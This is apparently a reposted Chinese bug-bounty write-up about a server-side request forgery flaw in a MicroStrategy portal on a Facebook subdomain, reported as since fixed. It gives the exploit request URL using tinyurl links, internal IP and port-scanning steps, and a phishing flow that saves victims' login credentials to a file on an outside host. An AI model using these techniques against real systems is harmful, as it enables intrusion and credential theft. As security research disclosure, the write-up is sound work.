前言
这是一个4年前白帽发现的漏洞，虽然已经过去了4年之久，但这个漏洞的挖掘方式和思路依然值得我们学习，让我们开始吧。
信息收集
通过子域枚举，发现一处子域“ https://m-nexus.thefacebook.com/ ”，访问该子域会重定向到“ https://m-nexus.thefacebook.com/servlet/mstrWebAdmin” ：
通过关键字mstrWebAdmin搜索 ，发现这是基于MicroStrategy工具构建的商业智能门户：
从MicroStrategy的官方配置文档中，可以发现有两个端点允许公开访问：
进一步查看 MicroStrategy 的官方配置文档，发现默认情况下（URL：“ https://m-nexus.thefacebook.com/servlet/mstrWeb ”）上启用了 HTTP 基本身份验证，但“ https://m-nexus.thefacebook.com/servlet/taskProc ”却无需身份验证。
站点从“ taskId ”参数中获取值来执行一些自定义数据收集和内容生成。
通过使用 Intruder，可以几乎每个请求都会检查有效的身份验证的会话参数，但在处理短 URL 的“ shortURL ”不会检查有效的身份验证会话。
模糊测试
对官方文档中提到的所有参数进行模糊测试，没有收获。 并且每次会给出一条错误消息“The source URL is not valid（源 URL 无效）”，状态代码为 500。
于是考虑下载该 Web 应用程序尝试源代码审计，这是一个400多MB的应用程序包，里面包含了几个脚本和jar文件：
利用jd-gui工具反编译 jar 文件就可以进行代码审计了。既然是处理短 URL时不检查有效的身份验证会话，那么就尝试寻找短URL的 Java 类吧。
通过源代码可以得知，“ shortURL ”任务的“ srcURL ”参数必须使用“ https://tinyurl.com/ ”创建的URL来导入数据或从中读取数据才行，否则就会报“The source URL is not valid”错误：
漏洞利用
基于上述了解，接下来就简单了：
-
打开 Burp suite ，选择“Burp Collaborator client”，生成Payloads：
-
打开“https://tinyurl.com/” 输入Payloads并创建其相应的短URL：
-
在“srcURL”参数中插入复制的“tiny URL”，然后浏览器访问：
https://m-nexus.thefacebook.com/servlet/taskProc?taskId=shortURL&taskEnv=xml&taskContentType=json&srcURL={YOUR_TINY_URL_HERE}
- 查看Burp Collaborator，顺利收到IP请求：
SSRF利用
接着创建无效内部 IP 地址的短 URL（例如 123.10.123.10），将其插入“srcURL”参数中，并观察服务器是否有响应：
再创建有效的内部 IP 地址 (127.0.0.1:8080) 的短 URL，将其插入“srcURL”参数中，再次观察服务器响应：
SSRF成功，上报Facebook，但却收到了Facebook的“拒绝”答复：
Facebook认为服务器的响应信息并不是一个安全漏洞。
继续深入
于是只好尝试使用诸如 （file://、dict://、ftp://、gopher:// 等）以读取服务器内部信息，同时还尝试了获取云实例的元数据，均没能成功。
沮丧了很久后，终于想出了一些具有影响力的攻击场景：
- 反射型XSS
- 利用SSRF进行的钓鱼攻击
首先创建并托管 Facebook 登录的网络钓鱼页面，然后窃取受害者的 Facebook 登录凭据：
接着打开“ https://tinyurl.com/ ”，创建托管网络钓鱼页面的短 URL，即“ http://ahmedabadexpress.co.in/fb/login/fb.html ”
在“srcURL”参数中插入复制的“tiny URL”并发送给受害者，当受害者访问后：
一旦受害者在该页面上输入TA的用户名和密码，就会被保存到“ http://ahmedabadexpress.co.in/fb/login/usernames.txt ”文件中。
然后受害者会被重定向到真实的 Facebook 登录页面，一切看起来都是那么的“合法”。
访问“ http://ahmedabadexpress.co.in/fb/login/usernames.txt ” URL 查看窃取的受害者凭证：
- 内部指纹探测：
既然能够通过SSRF扫描服务器的内部网络，那么通过 burp suite intruder 发送超过 10000 个以上的请求来查找服务器上的开放端口或在该端口上运行的应用程序也是可行的。
经过一番扫描，发现在10303端口上有一个名为“ LightRay ”的应用程序：
Facebook 安全团队很快便修复了该漏洞。
结束了？不！故事才刚刚开始…【未完待续】
以上内容由骨哥整理并再创作。
